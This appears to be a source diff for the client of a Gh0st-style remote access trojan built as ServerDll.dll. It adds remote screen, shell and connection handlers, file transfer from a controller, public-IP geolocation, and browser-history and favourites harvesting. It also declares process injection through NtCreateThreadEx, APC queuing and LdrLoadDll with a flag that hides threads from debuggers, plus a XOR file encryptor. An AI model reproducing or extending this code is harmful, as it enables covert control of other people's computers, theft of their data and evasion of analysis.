+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
+    case COMMAND_DRAWING_BOARD_PLUGIN: {   // 远程画板（SimplePlugins 迁移）
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
     case COMMAND_SHELL: {
         if (!ENABLE_SHELL) {
             return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
@@ -1264,6 +1338,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case CMD_FILE_SPEED: {
+        // 主控端下发文件传输速度档位：[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
+        // 写入 [transfer] 节，供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
+        if (ulLength >= 5) {
+            int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
+            int durMs   = szBuffer[3] | (szBuffer[4] << 8);
+            m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
+            m_cfg->SetInt("transfer", "DurationMs", durMs);
+        }
+        break;
+    }
+
     case COMMAND_LIST_DRIVE : {
         if (!ENABLE_FILE_MNG) {
             return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
@@ -1331,6 +1417,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_CONNECTION: {
+        if (!ENABLE_CONNECTION_MNG) {
+            return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
+        }
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
+        break;
+    }
+
     case COMMAND_UPDATE: {
         auto typ = m_conn->ClientType();
         if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
@@ -1383,11 +1482,47 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         // static 标志保证进程内只初始化一次，不随主连接重连反复 Init/Uninit。
         static bool s_v2RecvInited = false;
         if (!s_v2RecvInited) {
-            InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
+            int chunkKb, durMs;
+            GetTransferSpeed(*m_cfg, chunkKb, durMs);
+            InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
             s_v2RecvInited = true;
         }
         // C2C/V2 文件接收（RecvFileChunkV2 内部会打印进度）
-        int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
+        // 展开文件名中的环境变量（如 %USERPROFILE%），与 V1 的 COMMAND_FILE_SIZE 保持一致。
+        // 快捷图标定位远程目录时，主控端下发的 targetDir 仍含未展开的 %USERPROFILE%
+        // （server/2015Remote/FileManagerDlg.cpp OnRemoteDesktop/Downloads/Home），
+        // 若不在接收端展开，RecvFileChunkV2 会按字面量建目录（如 CWD\%%USERPROFILE%%\...）。
+        char* recvBuf = (char*)szBuffer;
+        size_t recvLen = ulLength;
+        std::vector<uint8_t> rebuilt;
+        if (ulLength >= sizeof(FileChunkPacketV2) && szBuffer[0] == COMMAND_SEND_FILE_V2) {
+            const FileChunkPacketV2* pkt = (const FileChunkPacketV2*)szBuffer;
+            if (ulLength >= sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength) {
+                // 文件名未必以 '\0' 结尾，先构造出以 '\0' 结尾的副本
+                std::string name((const char*)szBuffer + sizeof(FileChunkPacketV2), (size_t)pkt->nameLength);
+                char expanded[MAX_PATH * 2] = { 0 };
+                DWORD n = ExpandEnvironmentStringsA(name.c_str(), expanded, (DWORD)sizeof(expanded));
+                if (n > 0 && n < (DWORD)sizeof(expanded)) {
+                    std::string newName(expanded, n - 1);  // n 含末尾 '\0'
+                    if (newName.size() != pkt->nameLength) {
+                        // 展开后长度变化，重建包：[header][展开后的 name][data]
+                        size_t newLen = sizeof(FileChunkPacketV2) + newName.size() + pkt->dataLength;
+                        rebuilt.resize(newLen);
+                        memcpy(rebuilt.data(), szBuffer, sizeof(FileChunkPacketV2));
+                        FileChunkPacketV2* newPkt = (FileChunkPacketV2*)rebuilt.data();
+                        newPkt->nameLength = newName.size();
+                        memcpy(rebuilt.data() + sizeof(FileChunkPacketV2), newName.data(), newName.size());
+                        memcpy(rebuilt.data() + sizeof(FileChunkPacketV2) + newName.size(),
+                               (const char*)szBuffer + sizeof(FileChunkPacketV2) + pkt->nameLength,
+                               (size_t)pkt->dataLength);
+                        recvBuf = (char*)rebuilt.data();
+                        recvLen = newLen;
+                    }
+                }
+            }
+        }
+
+        int n = RecvFileChunkV2(recvBuf, recvLen, m_conn,
             nullptr, m_hash, m_hmac, m_MyClientID);
         if (n) {
             Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n);

client/LoginServer.cpp

@@ -378,13 +378,29 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
     std::string pubIP = cfg.GetStr("settings", "public_ip", "");
     auto ip_time = cfg.GetInt("settings", "ip_time");
     bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
+    // 升级后强制重新查询一次：旧版缓存的 location 是 GBK/CP1252，或已把 ö/ä/ß 等替换成 '?'；
+    // 新版 GetGeoLocation 改为 UTF-8 上报（见 common/location.h），需重新拉取才能修正。
+    // 版本号即编译日期 __DATE__（见 common/commands.h 的 DLL_VERSION）：编译期宏，内存 DLL
+    // 也能取到，且每次编译都会变，天然标识“升级”，无需手动递增，也不依赖 exe 版本资源。
+    bool cacheVerChanged = (cfg.GetStr("settings", "loc_cache_ver", "") != __DATE__);
     IPConverter cvt;
-    if (loc.empty() || pubIP.empty() || timeout) {
-        pubIP = cvt.getPublicIP();
-        loc = cvt.GetGeoLocation(pubIP);
-        cfg.SetStr("settings", "location", loc);
-        cfg.SetStr("settings", "public_ip", pubIP);
-        cfg.SetInt("settings", "ip_time", time(0));
+    if (loc.empty() || pubIP.empty() || timeout || cacheVerChanged) {
+        std::string newPubIP = pubIP;
+        // 升级重查 location 时复用已缓存的公网 IP；仅当 IP 缺失或 7 天过期才重新探测，
+        // 否则离线/无外网机器每次重连都会轮询 5 个公网 IP 源、空等数秒到十几秒。
+        if (pubIP.empty() || timeout) {
+            newPubIP = cvt.getPublicIP();
+        }
+        std::string newLoc = cvt.GetGeoLocation(newPubIP);
+        // 仅查询成功才覆盖缓存并推进版本号；失败保留旧值，下次登录仍会重试。
+        if (!newLoc.empty() && !newPubIP.empty()) {
+            pubIP = newPubIP;
+            loc = newLoc;
+            cfg.SetStr("settings", "location", loc);
+            cfg.SetStr("settings", "public_ip", pubIP);
+            cfg.SetInt("settings", "ip_time", time(0));
+            cfg.SetStr("settings", "loc_cache_ver", __DATE__);
+        }
     }
     LoginInfor.AddReserved(loc.c_str());
     LoginInfor.AddReserved(pubIP.c_str());

client/MachineManager.h

@@ -0,0 +1,204 @@
+#pragma once
+#include "Manager.h"
+#include <Iphlpapi.h>
+#include <tlhelp32.h>
+#include <map>
+#include <WINSOCK2.H>
+#include "yapi.hpp"
+
+#pragma comment(lib, "Iphlpapi.lib")
+#pragma comment(lib, "WS2_32.lib")
+
+#include <taskschd.h>
+#include <comutil.h>
+#pragma comment(lib, "taskschd.lib")
+#pragma comment(lib, "comsupp.lib")
+
+typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
+#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
+
+#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED	0x00000001
+#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH  0x00000002
+#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER	0x00000004
+
+class CMachineManager : public CManager
+{
+public:
+    BOOL m_bUse;
+    CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
+    virtual ~CMachineManager();
+    virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
+private:
+    static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
+    static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
+    HWND GetHwndByPid(DWORD dwProcessID);
+    bool Is64BitOS();
+    bool Is64BitPorcess(DWORD dwProcessID);
+    char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName);
+    wchar_t* char2wchar_t(char* cstr);
+    BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
+    void DeleteService(LPBYTE lpBuffer, UINT nSize);
+    void MyControlService(LPBYTE lpBuffer, UINT nType);
+
+    void SendProcessList();
+    LPBYTE getProcessList();	//进程
+
+    void SendWindowsList();
+    LPBYTE getWindowsList();	//窗口
+
+    void SendNetStateList();
+    LPBYTE getNetStateList();
+
+    void SendSoftWareList();
+    LPBYTE getSoftWareList();	//软件列表
+
+    void SendIEHistoryList();
+    LPBYTE getIEHistoryList(); // 浏览记录
+
+    void SendFavoritesUrlList();
+    void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
+    LPBYTE getFavoritesUrlList(); //收藏夹
+
+    void SendServicesList(DWORD dwScType = SERVICE_WIN32);
+    LPBYTE getServiceList(DWORD dwScType);
+
+    PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset);  //获取目录下的所有任务
+    PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
+    PBYTE GetRoot();												   //获取根目录下的子文件夹
+
+    BOOL CreateTask(LPBYTE lpBuffer);							       //创建计划任务
+    BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action);                  //执行或停止
+    BOOL DelTask(LPBYTE lpBuffer);								       //删除计划任务
+    BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
+    void SaveData(const std::string& taskname, const std::string& path, 
+        const std::string& exepath, const std::string& status, 
+        DATE LastTime, DATE NextTime, PBYTE &data, int &offset);       //保存数据到缓冲区
+    DWORD	 m_dwServiceType;
+
+    void SendHostsList();
+
+    void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
+
+    void SendError(const char* Terror);
+};
+
+struct  Browsinghistory {
+    char strTime[100];
+    char strTitle[1024];
+    char strUrl[1024];
+};
+
+
+typedef struct {
+    DWORD   dwState;          // 连接状态
+    DWORD   dwLocalAddr;      // 本地地址
+    DWORD   dwLocalPort;      // 本地端口
+    DWORD   dwRemoteAddr;     // 远程地址
+    DWORD   dwRemotePort;     // 远程端口
+    DWORD   dwProcessId;      // 进程ID号
+} MIB_TCPEXROW, * PMIB_TCPEXROW;
+
+typedef struct {
+    DWORD           dwNumEntries;
+    MIB_TCPEXROW    table[ANY_SIZE];
+} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
+
+typedef struct {
+    DWORD   dwLocalAddr;      // 本地地址
+    DWORD   dwLocalPort;      // 本地端口
+    DWORD   dwProcessId;      // 进程ID号
+} MIB_UDPEXROW, * PMIB_UDPEXROW;
+
+typedef struct {
+    DWORD           dwNumEntries;
+    MIB_UDPEXROW    table[ANY_SIZE];
+} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
+
+typedef struct {
+    DWORD dwState;      //连接状态
+    DWORD dwLocalAddr;  //本地地址
+    DWORD dwLocalPort;  //本地端口
+    DWORD dwRemoteAddr; //远程地址
+    DWORD dwRemotePort; //远程端口
+    DWORD dwProcessId;  //进程标识
+    DWORD Unknown;      //待定标识
+} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
+
+typedef struct {
+    DWORD dwNumEntries;
+    MIB_TCPEXROW_VISTA table[ANY_SIZE];
+} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
+
+typedef DWORD(WINAPI* _InternalGetTcpTable2)(
+    PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
+    HANDLE heap,
+    DWORD flags
+);
+
+
+typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
+    PMIB_UDPEXTABLE* pUdpTable,
+    HANDLE heap,
+    DWORD flags
+);
+// 扩展函数原型
+typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
+    PMIB_TCPEXTABLE* pTcpTable,
+    BOOL bOrder,
+    HANDLE heap,
+    DWORD zero,
+    DWORD flags
+);
+
+typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
+    PMIB_UDPEXTABLE* pUdpTable,
+    BOOL bOrder,
+    HANDLE heap,
+    DWORD zero,
+    DWORD flags
+);
+
+typedef _CLIENT_ID* PCLIENT_ID;
+
+typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
+typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
+typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
+typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
+typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
+typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
+typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
+typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
+typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
+
+typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
+(
+	OUT PHANDLE hThread,
+	IN ACCESS_MASK DesiredAccess,
+	IN PVOID ObjectAttributes,
+	IN HANDLE ProcessHandle,
+	IN PVOID lpStartAddress,
+	IN PVOID lpParameter,
+	IN ULONG Flags,
+	IN SIZE_T StackZeroBits,
+	IN SIZE_T SizeOfStackCommit,
+	IN SIZE_T SizeOfStackReserve,
+	OUT PVOID lpBytesBuffer);
+
+typedef struct _THREAD_DATA
+{
+	pRtlInitUnicodeString fnRtlInitUnicodeString;
+	pLdrLoadDll fnLdrLoadDll;
+	UNICODE_STRING UnicodeString;
+	WCHAR DllName[260];
+	PWCHAR DllPath;
+	ULONG Flags;
+	HANDLE ModuleHandle;
+}THREAD_DATA, * PTHREAD_DATA;
+
+struct  InjectData {
+    DWORD ExeIsx86;
+    DWORD mode;		//注入模式
+    DWORD dwProcessID;//进程ID
+    DWORD datasize;   //本地数据尺寸
+    char strpath[1024]; //远程落地目录
+};

client/ScreenManager.cpp

@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
     SetConnection(g_MyApp.g_Connection);  // 同时设置 m_conn 和 m_MyClientID
     CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
     m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
-    if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg, 
-        main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
+    if (!m_Signature.empty()) {
+        iniFile cfg(CLIENT_PATH);
+        int chunkKb, durMs;
+        GetTransferSpeed(cfg, chunkKb, durMs);
+        InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
+            main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
+    }
 #endif
     m_isGDI = TRUE;
     m_virtual = FALSE;
@@ -870,7 +875,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         if (m_Signature.empty()) {
             m_Signature = std::string(resp.signature, resp.signature + 64);
             m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
-            InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
+            iniFile cfg(CLIENT_PATH);
+            int chunkKb, durMs;
+            GetTransferSpeed(cfg, chunkKb, durMs);
+            InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
             Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
         }
         break;

client/Script.rc

@@ -26,12 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
 
 IDD_DIALOG DIALOGEX 0, 0, 180, 108
 STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
-CAPTION "娑堟伅鎻愮ず"
+CAPTION "消息提示"
 FONT 10, "System", 0, 0, 0x0
 BEGIN
     LTEXT           "Static",IDC_EDIT_MESSAGE,5,5,170,95
 END
 
+IDD_CHAT DIALOGEX 0, 0, 235, 155
+STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
+CAPTION "Chat"
+FONT 10, "System", 0, 0, 0x0
+BEGIN
+    EDITTEXT        IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
+    EDITTEXT        IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
+    DEFPUSHBUTTON   "Send",IDC_BUTTON_SEND,178,116,54,14
+    PUSHBUTTON      "End",IDC_BUTTON_END,178,133,54,14
+END
+
 
 /////////////////////////////////////////////////////////////////////////////
 //
@@ -44,6 +55,10 @@ BEGIN
     IDD_DIALOG, DIALOG
     BEGIN
     END
+
+    IDD_CHAT, DIALOG
+    BEGIN
+    END
 END
 #endif    // APSTUDIO_INVOKED
 
@@ -88,7 +103,7 @@ IDR_WAVE                WAVE                    "Res\\msg.wav"
 //
 
 VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,0,3,9
+ FILEVERSION 1,0,4,0
  PRODUCTVERSION 1,0,0,1
  FILEFLAGSMASK 0x3fL
 #ifdef _DEBUG
@@ -106,7 +121,7 @@ BEGIN
         BEGIN
             VALUE "CompanyName", "FUCK THE UNIVERSE"
             VALUE "FileDescription", "A GHOST"
-            VALUE "FileVersion", "1.0.3.9"
+            VALUE "FileVersion", "1.0.4.0"
             VALUE "InternalName", "ServerDll.dll"
             VALUE "LegalCopyright", "Copyright (C) 2019-2026"
             VALUE "OriginalFilename", "ServerDll.dll"

client/VideoManager.cpp

@@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
     m_pVideoCodec = NULL;
     m_fccHandler = 1129730893;
 
-    m_CapVideo.Open(0,0);  // 开启
+    m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK;  // 开启
     lpBuffer = NULL;
 
     m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
@@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
 DWORD CVideoManager::WorkThread(LPVOID lParam)
 {
     CVideoManager *This = (CVideoManager *)lParam;
+    if (!This->m_bVideoOpened) {
+        This->Destroy();
+        return 0x20261013;
+    }
+
     static ULONGLONG	dwLastScreen = GetTickCount64();
 
     if (This->Initialize()) {        //转到Initialize

client/VideoManager.h

@@ -25,6 +25,7 @@ public:
 
     BOOL  m_bIsWorking;
     HANDLE m_hWorkThread;
+    BOOL m_bVideoOpened;
 
     void SendBitMapInfor();
     BOOL SendNextScreen();

client/file/FileManager.h

@@ -0,0 +1,152 @@
+#include <winsock2.h>
+#include <list>
+#include <string>
+#include "Manager.h"
+#include <sstream>
+#include "zip.h"
+
+#pragma once
+#include <winioctl.h>
+typedef LONG NTSTATUS;	// 仅声明 NTSTATUS；不引入 <winternl.h>，避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
+#include "MasterEncoder.h"
+
+namespace SimplePluginsFile {
+
+typedef struct {
+    UINT	nFileSize;	// 文件大小
+    UINT	nSendSize;	// 已发送大小
+} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
+
+typedef struct {
+    DWORD	dwSizeHigh;
+    DWORD	dwSizeLow;
+    BOOL    error;
+} FILESIZE;
+
+
+typedef struct {
+    TCHAR SearchFileName[MAX_PATH];
+    TCHAR SearchPath[MAX_PATH];
+    BOOL bEnabledSubfolder;
+} FILESEARCH;
+
+
+typedef struct {
+    BYTE Token;
+    int  w,h,size;
+} FILEPICINFO;
+
+
+struct SEARCH {
+    TCHAR TC_disk[8];
+    TCHAR TC_search[MAX_PATH];
+};
+
+typedef struct _IO_STATUS_BLOCK {
+    union {
+        NTSTATUS Status;
+        PVOID    Pointer;
+    };
+    ULONG_PTR Information;
+} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
+
+typedef struct _FILE_NAME_INFORMATION {
+    ULONG FileNameLength;
+    WCHAR FileName[MAX_PATH];
+} FILE_NAME_INFORMATION;
+
+typedef LONG(__stdcall* ZwQueryInformationFile) (
+    IN HANDLE FileHandle,
+    OUT PIO_STATUS_BLOCK IoStatusBlock,
+    OUT PVOID FileInformation,
+    IN ULONG FileInformationLength,
+    IN ULONG FileInformationClass
+);
+
+WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
+
+class CFileManager : public CManager
+{
+public:
+    MasterEncoder m_encoder;
+    DWORD dwRet;
+    void OnReceive(LPBYTE lpBuffer, ULONG nSize);
+    UINT SendDriveList();
+    CFileManager(ISocketBase* pClient, int n, void* user);
+    virtual ~CFileManager();
+private:
+    LPBYTE lpSendPacket;
+    std::list <std::string> m_UploadList;
+    BOOL m_bIsWow64;
+    UINT m_nTransferMode;
+    HANDLE m_hFileSend;
+    HANDLE m_hFileRecv;
+    TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
+    __int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
+    bool benofrce;
+    TCHAR* copyfile;
+    HANDLE ImpersonateLoggedOnUserWrapper();
+    bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
+    bool UploadToRemote(LPBYTE lpBuffer);
+    bool FixedUploadList(LPCTSTR lpszDirectory);
+    void StopTransfer(BOOL bIsUpload);
+    UINT SendFilesList(TCHAR* lpszDirectory);
+    bool DeleteDirectory(LPCTSTR lpszDirectory);
+    UINT SendFileSize(LPCTSTR lpszFileName);
+    void SendFileData(LPBYTE lpBuffer);
+    void CreateFolder(LPBYTE lpBuffer);
+    void Rename(LPBYTE lpBuffer);
+    int	 SendToken(BYTE bToken);
+
+    void CreateLocalRecvFile(LPBYTE lpBuffer);
+    void SetTransferMode(LPBYTE lpBuffer);
+    void GetFileData();
+    void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
+    void UploadNext();
+    BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
+    void ExeCompress(BYTE* lpBuffer);
+    void SendSearchData(LPBYTE lpBuffer);
+    BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
+    void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
+
+protected:
+    HANDLE m_hWorkThread;
+    BOOL bIsStopSearch;
+    FILESEARCH filesearch;
+
+    void StopSearchTheard();
+    void SendSearchFilesList(LPCTSTR str);
+    static void WINAPI FindFileThread(LPVOID lparam);
+    void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
+    TCHAR       g_desktopName[MAX_PATH];
+    ULONG PseudoRand(ULONG* seed);
+    void GetBotId(TCHAR* botId);
+    HDESK      g_hDesk;;
+    bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
+    void SendNetHood(); //发送共享文件目录
+    void encfile(char* in_filename);
+    void decryptfile(char* in_filename);
+    bool FnDelPathFile(TCHAR* tc_path);
+
+    TCHAR* zippath_t;
+    HANDLE m_hWorkZIPThread;
+    BOOL bIsStopZIP;
+    void StopZIPTheard();
+    void StartZIP();
+    static void WINAPI FindZIPThread(LPVOID lparam);
+    void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
+
+    //info
+    void SendFileInfo(TCHAR* filepath,TCHAR * type);
+    bool ResizePicture(TCHAR* strSource);
+
+    TCHAR* volName;             // 驱动盘名称
+    TCHAR* tc_search;           // 搜索关键词
+    HANDLE hVol;                // 用于储存驱动盘句柄
+    USN_JOURNAL_DATA UsnInfo;   // 用于储存USN日志的基本信息
+    long counter;
+    LPBYTE	 lpBuffer;
+    char* c_pathname;
+};
+
+}

client/file/MasterEncoder.cpp

@@ -0,0 +1,162 @@
+#include "StdAfx.h"
+#include "MasterEncoder.h"
+#include <fstream>
+#include <string>
+#include <iostream>
+
+namespace SimplePluginsFile {
+
+MasterEncoder::MasterEncoder()
+{
+    _codeKey = 100;
+    _sign = nullptr;
+    _signLen = 0;
+}
+
+MasterEncoder::~MasterEncoder()
+{
+    SAFE_DELETE_AR(_sign);
+}
+
+void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
+{
+    if (sign && signLen) {
+        _signLen = signLen;
+        SAFE_DELETE_AR(_sign);
+        _sign = new char[signLen];
+        if (_sign) {
+            memcpy(_sign, sign, signLen);
+        } else {
+            Mprintf("setSignAndKey Failed!\n");
+        }
+    }
+    _codeKey = key;
+}
+
+void MasterEncoder::encode(unsigned char* data, long size)
+{
+    for (long i = 0; i < size; i++) {
+        data[i] ^= _codeKey;
+    }
+}
+
+void MasterEncoder::decode(unsigned char* data, long size)
+{
+    for (long i = 0; i < size; i++) {
+        data[i] ^= _codeKey;
+    }
+}
+
+unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
+{
+    std::ifstream ifs;
+    ifs.open(filepath, std::ios::in | std::ios::binary);
+
+    if (!ifs.is_open()) {
+        Mprintf("文件打开失败: %s\n", filepath.c_str());
+        return nullptr;
+    }
+
+    ifs.seekg(0, std::ios_base::end);
+    size =(long) ifs.tellg();
+    ifs.seekg(0, std::ios_base::beg);
+    unsigned char* data = new unsigned char[size];
+    long count = 0;
+    while (count < size) {
+        ifs.read((char*)&data[count], sizeof(unsigned char));
+        count++;
+    }
+
+    Mprintf("read PDF size = %d\n", size);
+
+    ifs.close();
+
+    return data;
+}
+
+void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
+{
+    std::ofstream ofs;
+    ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
+
+    if (!ofs.is_open()) {
+        Mprintf("文件打开失败: %s\n", filePath.c_str());
+        return;
+    }
+
+    long count = 0;
+    while (count < size) {
+        ofs.write((char*)&data[count], sizeof(unsigned char));
+        count++;
+    }
+    Mprintf("save PDF size = %d\n", size);
+    ofs.close();
+}
+
+void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
+{
+    long size = 0;
+    unsigned char* data = readPDF(pdfPath, size);
+
+    //判断是否已经加密过
+    if (memcmp(data, _sign, _signLen) == 0) {
+        Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
+        writePDF(savePath, data, size);
+    } else {
+        encode(data, size);
+
+        if (_signLen > 0) {
+            unsigned char* p = new unsigned char[size + _signLen];
+            memcpy(p, _sign, _signLen);
+            memcpy(p + _signLen, data, size);
+
+            writePDF(savePath, p, size + _signLen);
+
+            delete[] p;
+        } else {
+            writePDF(savePath, data, size);
+        }
+    }
+
+    delete[] data;
+}
+
+void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
+{
+    long size = 0;
+    unsigned char* data = readPDF(pdfPath, size);
+
+    if (_signLen == 0) {
+        decode(data, size);
+        writePDF(savePath, data, size);
+    } else if (memcmp(data, _sign, _signLen) == 0) {
+        unsigned char* p = (data + _signLen);
+        decode(p, size - _signLen);
+        writePDF(savePath, p, size - _signLen);
+    } else {
+        Mprintf("解密失败: %s\n", pdfPath.c_str());
+    }
+
+    delete[] data;
+}
+
+unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
+{
+    unsigned char* data = readPDF(pdfPath, size);
+
+    if (_signLen == 0) {
+        decode(data, size);
+        return data;
+    } else if (memcmp(data, _sign, _signLen) == 0) {
+        size -= _signLen;
+        unsigned char* p = new unsigned char[size];
+        memcpy(p, data + _signLen, size);
+        decode(p, size);
+        delete[] data;
+        return p;
+    } else {
+        return data;
+    }
+}
+
+}

client/file/MasterEncoder.h

@@ -0,0 +1,32 @@
